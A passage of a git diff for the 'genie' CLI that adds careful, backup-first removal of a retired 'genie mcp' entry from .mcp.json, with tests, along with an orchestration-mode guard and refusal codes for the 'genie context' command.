}); + expect(retireProjectMcpConfigs(root)[0].detail).toContain('not valid JSON'); + expect(readFileSync(join(root, '.mcp.json'), 'utf8')).toBe(original); + }); + + test('retires the dead `genie mcp` entry from .mcp.json', () => { + writeFileSync( + join(root, '.mcp.json'), + '{\n "mcpServers": { "genie": { "command": "/old/genie", "args": ["mcp"] }, "keep": { "command": "k" } }\n}\n', + ); + expect(retireProjectMcpConfigs(root)[0]).toMatchObject({ action: 'updated' }); + expect(readFileSync(join(root, '.mcp.json'), 'utf8')).toBe( + '{\n "mcpServers": { "keep": { "command": "k" } }\n}\n', + ); + }); + + test('reports the Codex outcome it actually produced, never a fixed retirement claim', () => { + // No .codex/config.toml at all: nothing was retired, and the detail says so. + expect(retireProjectMcpConfigs(root)[1]).toMatchObject({ + action: 'skipped', + detail: 'no marker-owned project registration to retire', + }); + mkdirSync(join(root, '.codex'), { recursive: true }); + writeFileSync( + join(root, '.codex', 'config.toml'), + '# BEGIN GENIE MCP FALLBACK\n[mcp_servers.genie]\ncommand = "/old"\n# END GENIE MCP FALLBACK\n', + ); + expect(retireProjectMcpConfigs(root)[1]).toMatchObject({ + action: 'updated', + detail: 'retired marker-owned project registration', + }); }); test('removes exactly one complete owned marker pair and keeps unrelated TOML', () => { @@ -81,3 +121,147 @@ describe('shipped plugin payload', () => { expect(existsSync(join(plugin, 'scripts', 'mcp-launcher.cjs'))).toBe(false); }); }); + +// ============================================================================ +// The retired `genie mcp` registration in .mcp.json +// ============================================================================ + +/** The only entry shape init may remove. */ +const RETIRED = { command: '/home/u/.genie/bin/genie', args: ['mcp'] }; + +describe('isRetiredGenieMcpServer', () => { + test('matches only a genie binary invoked with exactly ["mcp"]', () => { + expect(isRetiredGenieMcpServer(RETIRED)).toBe(true); + expect(isRetiredGenieMcpServer({ command: 'genie', args: ['mcp'] })).toBe(true); + expect(isRetiredGenieMcpServer({ command: 'C:\\tools\\genie.exe', args: ['mcp'] })).toBe(true); + }); + + test('never matches a user-owned entry that merely shares the `genie` key', () => { + for (const entry of [ + { command: '/personal', args: ['mcp'] }, // a wrapper, not the genie binary + { command: '/bin/genie-wrapper', args: ['mcp'] }, + { command: '/bin/genie', args: ['mcp', '--verbose'] }, // extra args + { command: '/bin/genie', args: [] }, + { command: '/bin/genie', args: 'mcp' }, + { command: '/bin/genie' }, // no args at all + { args: ['mcp'] }, + 'genie mcp', + null, + ]) { + expect(isRetiredGenieMcpServer(entry), JSON.stringify(entry)).toBe(false); + } + }); +}); + +describe('inspectRetiredJsonMcpEntry', () => { + test('reports every non-actionable state instead of throwing', () => { + expect(inspectRetiredJsonMcpEntry(root).state).toBe('absent'); + + writeFileSync(join(root, '.mcp.json'), '{"mcpServers":[]}'); + expect(inspectRetiredJsonMcpEntry(root).state).toBe('clean'); + + writeFileSync(join(root, '.mcp.json'), '{"mcpServers":{"genie":{"command":"/personal","args":["mcp"]}}}'); + expect(inspectRetiredJsonMcpEntry(root).state).toBe('clean'); + + writeFileSync(join(root, '.mcp.json'), 'nope'); + expect(inspectRetiredJsonMcpEntry(root).state).toBe('unreadable'); + }); + + test('a symlinked .mcp.json is its own reported state — never followed, never an error', () => { + writeFileSync(join(root, 'real.json'), JSON.stringify({ mcpServers: { genie: RETIRED } })); + symlinkSync('real.json', join(root, '.mcp.json')); + const finding = inspectRetiredJsonMcpEntry(root); + expect(finding.state).toBe('symlink'); + expect(finding.detail).toContain('symlink'); + }); + + test('finds the retired registration', () => { + writeFileSync(join(root, '.mcp.json'), JSON.stringify({ mcpServers: { genie: RETIRED } })); + expect(inspectRetiredJsonMcpEntry(root).state).toBe('present'); + }); +}); + +describe('retireJsonMcpGenieEntry', () => { + const mcp = () => join(root, '.mcp.json'); + const backups = () => readdirSync(root).filter((name) => name.includes('.genie-backup-')); + + test('splices out ONLY the dead entry, leaving every other byte untouched', () => { + const original = [ + '{', + ' "mcpServers": {', + ' "genie": { "command": "/home/u/.genie/bin/genie", "args": ["mcp"] },', + ' "other": { "command": "node", "args": ["srv.js"], "env": { "A": "b" } }', + ' },', + ' "somethingElse": true', + '}', + '', + ].join('\n'); + writeFileSync(mcp(), original); + + expect(retireJsonMcpGenieEntry(root)).toMatchObject({ action: 'updated' }); + expect(readFileSync(mcp(), 'utf8')).toBe( + [ + '{', + ' "mcpServers": {', + ' "other": { "command": "node", "args": ["srv.js"], "env": { "A": "b" } }', + ' },', + ' "somethingElse": true', + '}', + '', + ].join('\n'), + ); + }); + + test('removes a trailing dead entry without leaving a dangling comma', () => { + writeFileSync(mcp(), '{"mcpServers":{"a":{"command":"y"},"genie":{"command":"/x/genie","args":["mcp"]}}}'); + expect(retireJsonMcpGenieEntry(root)).toMatchObject({ action: 'updated' }); + expect(readFileSync(mcp(), 'utf8')).toBe('{"mcpServers":{"a":{"command":"y"}}}'); + }); + + test('backs the file up before touching it', () => { + const original = JSON.stringify({ mcpServers: { genie: RETIRED, keep: { command: 'k' } } }); + writeFileSync(mcp(), original); + const result = retireJsonMcpGenieEntry(root, new Date('2026-08-30T01:02:03.004Z')); + expect(result.detail).toContain('.mcp.json.genie-backup-2026-08-30T01-02-03-004Z'); + expect(readFileSync(join(root, '.mcp.json.genie-backup-2026-08-30T01-02-03-004Z'), 'utf8')).toBe(original); + }); + + test('removes the file only when the dead entry was all it held', () => { + writeFileSync(mcp(), '{"mcpServers":{"genie":{"command":"/x/genie","args":["mcp"]}}}'); + expect(retireJsonMcpGenieEntry(root)).toMatchObject({ action: 'updated' }); + expect(existsSync(mcp())).toBe(false); + expect(backups()).toHaveLength(1); + }); + + test('keeps a file that still holds another top-level key', () => { + writeFileSync(mcp(), '{"mcpServers":{"genie":{"command":"/x/genie","args":["mcp"]}},"keep":1}'); + expect(retireJsonMcpGenieEntry(root)).toMatchObject({ action: 'updated' }); + expect(readFileSync(mcp(), 'utf8')).toBe('{"mcpServers":{},"keep":1}'); + }); + + test('preserves the file mode', () => { + writeFileSync(mcp(), '{"mcpServers":{"genie":{"command":"/x/genie","args":["mcp"]},"k":{"command":"k"}}}', { + mode: 0o644, + }); + retireJsonMcpGenieEntry(root); + expect(statSync(mcp()).mode & 0o777).toBe(0o644); + }); + + test('is a reported no-op on a symlink, an absent file, and a clean file — and writes no backup', () => { + expect(retireJsonMcpGenieEntry(root)).toMatchObject({ action: 'skipped' }); + + writeFileSync(join(root, 'real.json'), JSON.stringify({ mcpServers: { genie: RETIRED } })); + symlinkSync('real.json', mcp()); + expect(retireJsonMcpGenieEntry(root)).toMatchObject({ action: 'skipped' }); + expect(readFileSync(join(root, 'real.json'), 'utf8')).toBe(JSON.stringify({ mcpServers: { genie: RETIRED } })); + expect(backups()).toHaveLength(0); + }); + + test('is idempotent — the second run finds nothing to retire', () => { + writeFileSync(mcp(), '{"mcpServers":{"genie":{"command":"/x/genie","args":["mcp"]},"k":{"command":"k"}}}'); + expect(retireJsonMcpGenieEntry(root)).toMatchObject({ action: 'updated' }); + const after = readFileSync(mcp(), 'utf8'); + expect(retireJsonMcpGenieEntry(root)).toMatchObject({ action: 'skipped' }); + expect(readFileSync(mcp(), 'utf8')).toBe(after); + }); +}); diff --git a/src/lib/codex-project-mcp.ts b/src/lib/codex-project-mcp.ts index 64306ae63..1253ef2a5 100644 --- a/src/lib/codex-project-mcp.ts +++ b/src/lib/codex-project-mcp.ts @@ -8,7 +8,9 @@ import { randomUUID } from 'node:crypto'; import { constants, accessSync, + chmodSync, closeSync, + copyFileSync, existsSync, fsyncSync, lstatSync, @@ -583,11 +585,6 @@ function isJsonObject(value: unknown): value is JsonObject { return typeof value === 'object' && value !== null && !Array.isArray(value); } -function preparePreservedJsonMcpConfig(configPath: string): PreparedWrite { - assertSafeProjectConfigPath(configProjectRoot(configPath), configPath); - return { path: configPath, action: 'skipped', detail: 'unmarked .mcp.json is always user-owned and preserved' }; -} - function applyPreparedWrite(prepared: PreparedWrite, root = configProjectRoot(prepared.path)): McpConfigResult { if (prepared.content === undefined) return { path: prepared.path, action: prepared.action, detail: prepared.detail }; assertSafeProjectConfigPath(root, prepared.path); @@ -714,6 +711,302 @@ export function removeCodexMcpFallback(configPath: string): ArtifactAction { return 'updated'; } +// ============================================================================ +// `.mcp.json` — the retired `genie mcp` registration +// ============================================================================ + +/** + * The `.mcp.json` filename every Claude Code project uses. It carries NO + * ownership marker, so only one exactly-shaped entry is ever eligible for + * retirement (see {@link isRetiredGenieMcpServer}); everything else in the + * file is user-owned. + */ +const PROJECT_JSON_MCP_FILE = '.mcp.json'; + +/** + * True when `command` names the Genie binary itself rather than a user wrapper. + * Both separators are recognized because a `.mcp.json` is committed and read on + * whatever platform its author used, not only on the one running this check. + */ +function isGenieBinaryCommand(command: string): boolean { + const trimmed = command.trim(); + const name = trimmed.slice(Math.max(trimmed.lastIndexOf('/'), trimmed.lastIndexOf('\\')) + 1); + return name === 'genie' || name === 'genie.exe'; +} + +/** + * True for EXACTLY the registration a pre-retirement `genie init` wrote: the + * Genie binary invoked with the single argument `mcp`. `genie mcp` is retired + * and now exits 1, so this entry can only ever render as a failed MCP server. + * + * Anything else under the `genie` key is user-owned and never touched — a + * different command (a personal wrapper, another binary), extra or different + * args, or a non-object value. + */ +export function isRetiredGenieMcpServer(entry: unknown): boolean { + if (!isJsonObject(entry)) return false; + if (typeof entry.command !== 'string' || !isGenieBinaryCommand(entry.command)) return false; + return Array.isArray(entry.args) && entry.args.length === 1 && entry.args[0] === 'mcp'; +} + +/** + * What a project `.mcp.json` holds with respect to the retired registration. + * `present` is the ONLY state that permits a write; every other state is a + * reported no-op, so neither doctor nor init can ever be blocked by it. + */ +export type RetiredJsonMcpState = 'absent' | 'symlink' | 'unreadable' | 'clean' | 'present'; + +export interface RetiredJsonMcpFinding { + path: string; + state: RetiredJsonMcpState; + /** Human reason, safe to print verbatim in doctor and init output. */ + detail: string; +} + +/** Read-only `.mcp.json` inspection shared by doctor and init. Never throws. */ +export function inspectRetiredJsonMcpEntry(root: string): RetiredJsonMcpFinding { + const path = join(root, PROJECT_JSON_MCP_FILE); + let stat: ReturnType<typeof lstatSync>; + try { + stat = lstatSync(path); + } catch (error) { + if (error instanceof Error && 'code' in error && error.code === 'ENOENT') { + return { path, state: 'absent', detail: 'no .mcp.json in this repository' }; + } + return { path, state: 'unreadable', detail: `.mcp.json is unreadable: ${diagnostic(error)}` }; + } + // A symlinked .mcp.json is repository-controlled indirection: Genie neither + // follows it nor rewrites it, and says so instead of failing. + if (stat.isSymbolicLink()) { + return { + path, + state: 'symlink', + detail: '.mcp.json is a symlink; left untouched (retire the `genie` entry by hand)', + }; + } + if (!stat.isFile()) return { path, state: 'unreadable', detail: '.mcp.json is not a regular file; left untouched' }; + let parsed: unknown; + try { + parsed = JSON.parse(readFileSync(path, 'utf8')); + } catch (error) { + return { + path, + state: 'unreadable', + detail: `.mcp.json is not valid JSON, so it is preserved: ${diagnostic(error)}`, + }; + } + if (!isJsonObject(parsed) || !isJsonObject(parsed.mcpServers)) { + return { path, state: 'clean', detail: 'no retired `genie mcp` registration in .mcp.json' }; + } + if (!isRetiredGenieMcpServer(parsed.mcpServers[GENIE_PLUGIN_NAME])) { + return { path, state: 'clean', detail: 'no retired `genie mcp` registration in .mcp.json' }; + } + return { path, state: 'present', detail: 'a `genie` server still launches the retired `genie mcp` command' }; +} + +function diagnostic(error: unknown): string { + return error instanceof Error ? error.message : String(error); +} + +/** + * The document's own indentation, so the re-serialization fallback keeps the + * shape the author chose instead of reformatting a file Genie only removes one + * key from. + */ +function detectJsonIndent(raw: string): string | number { + const match = /\n([ \t]+)"/.exec(raw); + return match === null ? 2 : match[1]; +} + +// --------------------------------------------------------------------------- +// Byte-surgical property removal +// +// Removing one dead server must not reformat a git-tracked file the user owns, +// so the retirement splices exactly that property's bytes out of the original +// text and every other byte survives untouched. These scanners run only on +// text `JSON.parse` has ALREADY accepted, so they need to agree with it, not +// validate it — and the caller re-parses and compares the spliced result +// against the intended object before writing, falling back to a plain +// re-serialization if it ever disagrees. +// --------------------------------------------------------------------------- + +function skipJsonWhitespace(raw: string, index: number): number { + let i = index; + while (i < raw.length && (raw[i] === ' ' || raw[i] === '\t' || raw[i] === '\n' || raw[i] === '\r')) i += 1; + return i; +} + +/** Index just past the string literal that starts at `index` (a `"`). */ +function scanJsonString(raw: string, index: number): number { + let i = index + 1; + while (i < raw.length) { + if (raw[i] === '\\') { + i += 2; + continue; + } + if (raw[i] === '"') return i + 1; + i += 1; + } + throw new Error('unterminated JSON string'); +} + +/** Index just past the value that starts at `index`. */ +function scanJsonValue(raw: string, index: number): number { + const start = skipJsonWhitespace(raw, index); + const first = raw[start]; + if (first === '"') return scanJsonString(raw, start); + if (first === '{' || first === '[') return scanJsonContainer(raw, start).end; + let i = start; + while (i < raw.length && !',}] \t\r\n'.includes(raw[i])) i += 1; + return i; +} + +interface JsonPropertySpan { + key: string; + /** Index of the property key's opening quote. */ + start: number; + /** Index just past the property's value. */ + end: number; +} + +/** + * Walk the container that starts at `index`, returning where it ends and — for + * an object — the span of every property it declares directly. + */ +function scanJsonContainer(raw: string, index: number): { end: number; properties: JsonPropertySpan[] } { + const isObject = raw[index] === '{'; + const close = isObject ? '}' : ']'; + const properties: JsonPropertySpan[] = []; + let i = index + 1; + for (;;) { + i = skipJsonWhitespace(raw, i); + if (i >= raw.length) throw new Error('unterminated JSON container'); + if (raw[i] === close) return { end: i + 1, properties }; + if (raw[i] === ',') { + i += 1; + continue; + } + if (!isObject) { + i = scanJsonValue(raw, i); + continue; + } + const keyStart = i; + const keyEnd = scanJsonString(raw, i); + i = skipJsonWhitespace(raw, keyEnd); + if (raw[i] !== ':') throw new Error('malformed JSON member'); + const valueEnd = scanJsonValue(raw, i + 1); + properties.push({ key: JSON.parse(raw.slice(keyStart, keyEnd)) as string, start: keyStart, end: valueEnd }); + i = valueEnd; + } +} + +/** + * `raw` with `container[property]` spliced out — key, value, and exactly one + * adjacent comma — or null when the property (or its container) is not a + * directly declared top-level member. Every surviving byte is untouched. + */ +function spliceJsonProperty(raw: string, containerKey: string, propertyKey: string): string | null { + const documentStart = skipJsonWhitespace(raw, 0); + if (raw[documentStart] !== '{') return null; + const root = scanJsonContainer(raw, documentStart); + const container = root.properties.find((prop) => prop.key === containerKey); + if (container === undefined) return null; + const containerStart = skipJsonWhitespace(raw, raw.indexOf(':', container.start + containerKey.length) + 1); + if (raw[containerStart] !== '{') return null; + const target = scanJsonContainer(raw, containerStart).properties.find((prop) => prop.key === propertyKey); + if (target === undefined) return null; + + // Take the FOLLOWING comma when there is one; otherwise the preceding one, + // so removing the last member never leaves a dangling comma. + const afterValue = skipJsonWhitespace(raw, target.end); + if (raw[afterValue] === ',') { + const nextMember = skipJsonWhitespace(raw, afterValue + 1); + const targetLineStart = raw.lastIndexOf('\n', target.start) + 1; + const nextMemberLineStart = raw.lastIndexOf('\n', nextMember - 1) + 1; + // Members on separate lines: drop the target's whole line, indentation + // included, so the survivor keeps the indentation its author gave it. + // Members sharing a line: drop exactly the target's bytes and its comma. + return nextMemberLineStart > targetLineStart + ? `${raw.slice(0, targetLineStart)}${raw.slice(nextMemberLineStart)}` + : `${raw.slice(0, target.start)}${raw.slice(nextMember)}`; + } + let start = target.start; + let before = start - 1; + while (before >= 0 && (raw[before] === ' ' || raw[before] === '\t' || raw[before] === '\n' || raw[before] === '\r')) { + before -= 1; + } + if (raw[before] === ',') start = before; + return `${raw.slice(0, start)}${raw.slice(target.end)}`; +} + +/** + * The bytes to write after removing the dead `genie` server: the surgical + * splice when re-parsing it yields exactly `expected`, and a re-serialization + * that preserves key order, indentation, and the trailing newline otherwise. + */ +function rewriteWithoutGenieServer(raw: string, expected: JsonObject): string { + const spliced = spliceJsonProperty(raw, 'mcpServers', GENIE_PLUGIN_NAME); + if (spliced !== null) { + try { + if (JSON.stringify(JSON.parse(spliced)) === JSON.stringify(expected)) return spliced; + } catch { + // Fall through to re-serialization. + } + } + return `${JSON.stringify(expected, null, detectJsonIndent(raw))}${raw.endsWith('\n') ? '\n' : ''}`; +} + +/** + * Retire ONLY the exactly-shaped dead `genie mcp` entry from `.mcp.json`, + * backing the file up first (`<path>.genie-backup-<stamp>`, the same + * backup-first pattern as the Codex OTel migration). Key order, every other + * server, every other top-level key, the file's indentation, its trailing + * newline, and its mode are preserved; the file itself is removed only when + * retiring the entry leaves an empty `mcpServers` and nothing else. + * + * Total by contract: any failure is reported as `skipped` with the reason, so + * `genie init` is never blocked by the state of a user-owned file. + */ +export function retireJsonMcpGenieEntry(root: string, now: Date = new Date()): McpConfigResult { + const finding = inspectRetiredJsonMcpEntry(root); + if (finding.state !== 'present') return { path: finding.path, action: 'skipped', detail: finding.detail }; + try { + const raw = readFileSync(finding.path, 'utf8'); + const parsed = JSON.parse(raw) as JsonObject; + const servers = { ...(parsed.mcpServers as JsonObject) }; + delete servers[GENIE_PLUGIN_NAME]; + const stamp = now.toISOString().replace(/[:.]/g, '-'); + const backupPath = `${finding.path}.genie-backup-${stamp}`; + copyFileSync(finding.path, backupPath); + const otherKeys = Object.keys(parsed).filter((key) => key !== 'mcpServers'); + if (Object.keys(servers).length === 0 && otherKeys.length === 0) { + unlinkSync(finding.path); + return { + path: finding.path, + action: 'updated', + detail: `retired the dead \`genie mcp\` registration; .mcp.json held nothing else and was removed (backup: ${basename(backupPath)})`, + }; + } + const next: JsonObject = {}; + for (const key of Object.keys(parsed)) next[key] = key === 'mcpServers' ? servers : parsed[key]; + const content = rewriteWithoutGenieServer(raw, next); + const mode = lstatSync(finding.path).mode & 0o777; + applyPreparedWrite({ path: finding.path, action: 'updated', content }, root); + chmodSync(finding.path, mode); + return { + path: finding.path, + action: 'updated', + detail: `retired the dead \`genie mcp\` registration; every other server preserved (backup: ${basename(backupPath)})`, + }; + } catch (error) { + return { + path: finding.path, + action: 'skipped', + detail: `left untouched — could not retire the dead \`genie mcp\` registration: ${diagnostic(error)}`, + }; + } +} + /** Read-only route inspection used by doctor. */ export function inspectCodexProjectMcp(root: string, plugin: CodexPluginProbe): CodexProjectMcpResult { const path = join(root, '.codex', 'config.toml'); @@ -768,15 +1061,28 @@ export function inspectCodexProjectMcp(root: string, plugin: CodexPluginProbe): }; } -/** Preserve `.mcp.json`; retire only the marker-owned Codex fallback. */ +/** + * Retire the two historical Genie project registrations and nothing else: the + * dead `genie mcp` entry a pre-retirement `genie init` wrote into `.mcp.json`, + * and the marker-owned Codex fallback block. Every other server, key, and byte + * in either file is user-owned and preserved. + * + * Neither step may abort init: the `.mcp.json` step is total (it reports a + * symlink, an unreadable file, or a failed rewrite as `skipped` with the + * reason), and the reported Codex detail states the outcome it actually + * produced rather than a fixed claim. + */ export function retireProjectMcpConfigs(root: string, _options: RetireProjectMcpOptions = {}): McpConfigResult[] { - const json = preparePreservedJsonMcpConfig(join(root, '.mcp.json')); - const results = [applyPreparedWrite(json, root)]; + const results = [retireJsonMcpGenieEntry(root)]; const codexPath = join(root, '.codex', 'config.toml'); + const action = removeCodexMcpFallback(codexPath); results.push({ path: codexPath, - action: removeCodexMcpFallback(codexPath), - detail: 'retired marker-owned project registration', + action, + detail: + action === 'updated' + ? 'retired marker-owned project registration' + : 'no marker-owned project registration to retire', }); return results; } diff --git a/src/term-commands/context.test.ts b/src/term-commands/context.test.ts index 36d3e057b..8496400de 100644 --- a/src/term-commands/context.test.ts +++ b/src/term-commands/context.test.ts @@ -536,6 +536,68 @@ describe('wish context', () => { }); }); +// ============================================================================ +// Orchestration authority — Orca owns lifecycle state, so every form refuses +// ============================================================================ + +/** Spawn `genie context ...` with a throwaway GENIE_HOME holding `config`. */ +async function cliWithMode(cwd: string, config: string, ...args: string[]): Promise<CliResult> { + const home = mkdtempSync(join(tmpdir(), 'genie-context-home-')); + scratchRoots.push(home); + writeFileSync(join(home, 'config.json'), config); + const env: Record<string, string> = { NO_COLOR: '1' }; + for (const [key, value] of Object.entries(process.env)) { + if (key === 'FORCE_COLOR' || key === 'NO_COLOR' || key === 'GENIE_HOME') continue; + if (value !== undefined) env[key] = value; + } + env.GENIE_HOME = home; + const proc = Bun.spawn(['bun', GENIE, 'context', ...args], { cwd, stdout: 'pipe', stderr: 'pipe', env }); + const stdout = await new Response(proc.stdout).text(); + const stderr = await new Response(proc.stderr).text(); + return { stdout, stderr, code: await proc.exited }; +} + +const ORCA_CONFIG = '{"orchestration":{"mode":"orca"}}'; + +describe('orca lifecycle authority', () => { + // Every form must degrade IDENTICALLY. Before the guard moved ahead of option + // resolution the code reported three different things: the wishless form exited + // 0 with a standalone payload (it never opens the DB), `--wish` reported + // `unreadable-db`, and `--wish --plan` reported `internal`. + test.each([[[]], [['--wish', 'foo']], [['--wish', 'foo', '--group', 'g']], [['--wish', 'foo', '--plan']]])( + 'refuses `genie context %j` with one stable machine-readable line', + async (args: string[]) => { + const fx = makeFixture(); + seedTasks(fx, 'foo', ['g']); + const failure = failureOf(await cliWithMode(fx.root, ORCA_CONFIG, ...args)); + expect(failure.error).toBe('local_lifecycle_disabled_in_orca_mode'); + expect(failure.reason).toContain('orchestration.mode'); + // The reason never repeats the code the consumer already branched on. + expect(failure.reason.startsWith('local_lifecycle_disabled_in_orca_mode')).toBe(false); + }, + ); + + test('the refusal precedes option validation, so a bad option cannot change the code', async () => { + const fx = makeFixture(); + // `--group` without `--wish` is normally `group-requires-wish`. + expect((await cliWithMode(fx.root, ORCA_CONFIG, '--group', 'g')).stderr).toContain( + 'local_lifecycle_disabled_in_orca_mode', + ); + }); + + test('a malformed orchestration authority keeps its own code, never `internal`', async () => { + const fx = makeFixture(); + const failure = failureOf(await cliWithMode(fx.root, '{"orchestration":{"mode":"nonsense"}}')); + expect(failure.error).toBe('invalid_orchestration_authority'); + }); + + test('standalone mode is untouched — the payload still resolves', async () => { + const fx = makeFixture(); + const payload = payloadOf(await cliWithMode(fx.root, '{"orchestration":{"mode":"standalone"}}')); + expect(payload.branch).toBe('dev'); + }); +}); + // ============================================================================ // Shared base-resolution policy (extracted from doctor) // ============================================================================ diff --git a/src/term-commands/context.ts b/src/term-commands/context.ts index f1157fb0c..b75a976aa 100644 --- a/src/term-commands/context.ts +++ b/src/term-commands/context.ts @@ -24,7 +24,11 @@ * boundary is unrecoverable from it (slugs may contain `-`). * * Every degradation exits non-zero with a machine-readable JSON line on - * stderr: {"error":"<code>","reason":"<text>"}. An empty `tasks` array is + * stderr: {"error":"<code>","reason":"<text>"}. When `orchestration.mode` is + * `orca`, Orca — not this repo's SQLite — owns lifecycle state, so EVERY form + * of the command (wishless, --wish, --group, --plan) degrades identically to + * {"error":"local_lifecycle_disabled_in_orca_mode",...} with exit 1 before any + * option is resolved. An empty `tasks` array is * NOT a degradation: whenever branch+base resolve, the payload is emitted * with exit 0 — a group with no ready tasks (all claimed/done, or task rows * missing) still gets its base, so a resumed or re-spawned session never @@ -56,7 +60,11 @@ import { Database } from 'bun:sqlite'; import { existsSync, statSync } from 'node:fs'; import type { Command } from 'commander'; import { resolveGitWorktreeRoot } from '../lib/codex-project-mcp.js'; -import { assertLocalLifecycleEnabled } from '../lib/orchestration-mode.js'; +import { + InvalidOrchestrationAuthorityError, + LocalLifecycleDisabledError, + assertLocalLifecycleEnabled, +} from '../lib/orchestration-mode.js'; import { type IntegrationBranch, peelCommit, @@ -408,6 +416,12 @@ export function contextCommand(options: ContextOptions, deps: ContextDeps = {}): const write = deps.write ?? ((line: string) => process.stdout.write(`${line}\n`)); const writeErr = deps.writeErr ?? ((line: string) => process.stderr.write(`${line}\n`)); try { + // The lifecycle-authority gate runs BEFORE any option resolution, so every + // form of the command degrades identically. Resolving options first made + // the guard depend on which code path happened to touch the DB: the + // wishless form never opened it (exit 0 with a standalone payload), the + // wish form reported `unreadable-db`, and `--plan` reported `internal`. + assertLocalLifecycleEnabled(); if (options.group !== undefined && options.wish === undefined) { failClosed('group-requires-wish', '--group requires --wish.'); } @@ -419,6 +433,14 @@ export function contextCommand(options: ContextOptions, deps: ContextDeps = {}): write(JSON.stringify(payload)); return 0; } catch (err) { + // Orchestration-authority errors keep their own stable code (never + // `internal`, never a DB-shaped code) so a consumer can branch on + // `local_lifecycle_disabled_in_orca_mode` — including on the defence-in-depth + // throws that still live deeper in the DB opens. + if (err instanceof LocalLifecycleDisabledError || err instanceof InvalidOrchestrationAuthorityError) { + writeErr(JSON.stringify({ error: err.code, reason: stripErrorCodePrefix(err.code, err.message) })); + return 1; + } const failure = err instanceof ContextError ? err @@ -428,6 +450,12 @@ export function contextCommand(options: ContextOptions, deps: ContextDeps = {}): } } +/** The payload's `reason` never repeats the `error` code the message is prefixed with. */ +function stripErrorCodePrefix(code: string, message: string): string { + const prefix = `${code}: `; + return message.startsWith(prefix) ? message.slice(prefix.length) : message; +} + /** Register `genie context` on the CLI program. */ export function registerContextCommand(program: Command): void { program diff --git a/src/term-commands/init.test.ts b/src/term-commands/init.test.ts index dcd07046d..e2d9aa190 100644 --- a/src/term-commands/init.test.ts +++ b/src/term-commands/init.test.ts @@ -1,6 +1,15 @@ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; import { execFileSync } from 'node:child_process'; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; @@ -197,12 +206,75 @@ describe('genie init', () => { test('preserves unrelated and unowned same-name registrations byte-for-byte', () => { initGitRepo(dir); + // `/personal` is a user wrapper, not the Genie binary: the `genie` KEY is + // not proof of ownership, so this entry is never eligible for retirement. const original = '{"mcpServers":{"other":{"command":"x"},"genie":{"command":"/personal","args":["mcp"]}}}'; writeFileSync(mcpPath(dir), original); expect(runInit(dir).code).toBe(0); expect(readFileSync(mcpPath(dir), 'utf8')).toBe(original); }); + test('retires the dead `genie mcp` entry and preserves every other server byte-for-byte', () => { + initGitRepo(dir); + writeFileSync( + mcpPath(dir), + [ + '{', + ' "mcpServers": {', + ' "genie": { "command": "/home/u/.genie/bin/genie", "args": ["mcp"] },', + ' "other": { "command": "node", "args": ["srv.js"] }', + ' }', + '}', + '', + ].join('\n'), + ); + + const { code, stdout } = runInit(dir); + expect(code).toBe(0); + expect(readFileSync(mcpPath(dir), 'utf8')).toBe( + ['{', ' "mcpServers": {', ' "other": { "command": "node", "args": ["srv.js"] }', ' }', '}', ''].join( + '\n', + ), + ); + // Backup-first: the pre-retirement bytes survive next to the file. + const backups = readdirSync(dir).filter((n) => n.startsWith('.mcp.json.genie-backup-')); + expect(backups).toHaveLength(1); + expect(readFileSync(join(dir, backups[0]), 'utf8')).toContain('"genie"'); + expect(stdout).toContain('retired the dead `genie mcp` registration'); + + // Idempotent: a second run finds nothing and writes no second backup. + expect(runInit(dir).code).toBe(0); + expect(readdirSync(dir).filter((n) => n.startsWith('.mcp.json.genie-backup-'))).toHaveLength(1); + }); + + test('--json only claims retirement when it actually happened', () => { + initGitRepo(dir); + const fresh = JSON.parse(runInit(dir, ['--json']).stdout).mcp; + expect(fresh[0]).toMatchObject({ action: 'skipped' }); + expect(fresh[1]).toMatchObject({ action: 'skipped', detail: 'no marker-owned project registration to retire' }); + + writeFileSync(mcpPath(dir), '{"mcpServers":{"genie":{"command":"/x/genie","args":["mcp"]},"k":{"command":"k"}}}'); + const retired = JSON.parse(runInit(dir, ['--json']).stdout).mcp; + expect(retired[0]).toMatchObject({ action: 'updated' }); + expect(retired[0].detail).toContain('retired the dead `genie mcp` registration'); + }); + + test('a symlinked .mcp.json never aborts init: it is skipped with a warning and .genie/ is still scaffolded', () => { + initGitRepo(dir); + const real = join(dir, 'real-mcp.json'); + writeFileSync(real, '{"mcpServers":{"genie":{"command":"/x/genie","args":["mcp"]}}}'); + symlinkSync('real-mcp.json', mcpPath(dir)); + + const { code, stdout } = runInit(dir); + expect(code).toBe(0); + expect(stdout).toContain('symlink'); + // The link and its target are both untouched — Genie never follows it. + expect(readFileSync(real, 'utf8')).toBe('{"mcpServers":{"genie":{"command":"/x/genie","args":["mcp"]}}}'); + expect(readdirSync(dir).filter((n) => n.includes('.genie-backup-'))).toHaveLength(0); + expect(existsSync(join(dir, '.genie', 'INDEX.md'))).toBe(true); + expect(existsSync(join(dir, '.gitignore'))).toBe(true); + }); + test('--json reports both registration classes skipped on a fresh repo', () => { initGitRepo(dir); const first = JSON.parse(runInit(dir, ['--json']).stdout); diff --git a/src/term-commands/init.ts b/src/term-commands/init.ts index 3570eff2f..6f13ae93c 100644 --- a/src/term-commands/init.ts +++ b/src/term-commands/init.ts @@ -20,6 +20,7 @@ import { resolveGitWorktreeRoot, retireProjectMcpConfigs, } from '../lib/codex-project-mcp.js'; +import { padRight } from '../lib/term-format.js'; // ============================================================================ // Output helpers (process.stdout/stderr — no console.* in source) @@ -135,6 +136,9 @@ export function retireMcpConfigs(root: string): McpConfigResult[] { // Reporting // ============================================================================ +/** Column the human report's action words line up in (widest label + 2). */ +const REPORT_COLUMN = 20; + function actionLabel(action: ArtifactAction): string { return action === 'skipped' ? 'already present' : action; } @@ -148,14 +152,16 @@ function mcpConfigLabel(configPath: string): string { function printHumanReport(result: InitResult): void { out('Initialized genie in this repository.'); out(''); - out(` .genie/INDEX.md ${actionLabel(result.index)}`); - if (result.rulesAdded.length > 0) { - out(` .gitignore ${actionLabel(result.gitignore)} (${result.rulesAdded.join(', ')})`); - } else { - out(` .gitignore ${actionLabel(result.gitignore)}`); - } + out(` ${padRight('.genie/INDEX.md', REPORT_COLUMN)}${actionLabel(result.index)}`); + const rules = result.rulesAdded.length > 0 ? ` (${result.rulesAdded.join(', ')})` : ''; + out(` ${padRight('.gitignore', 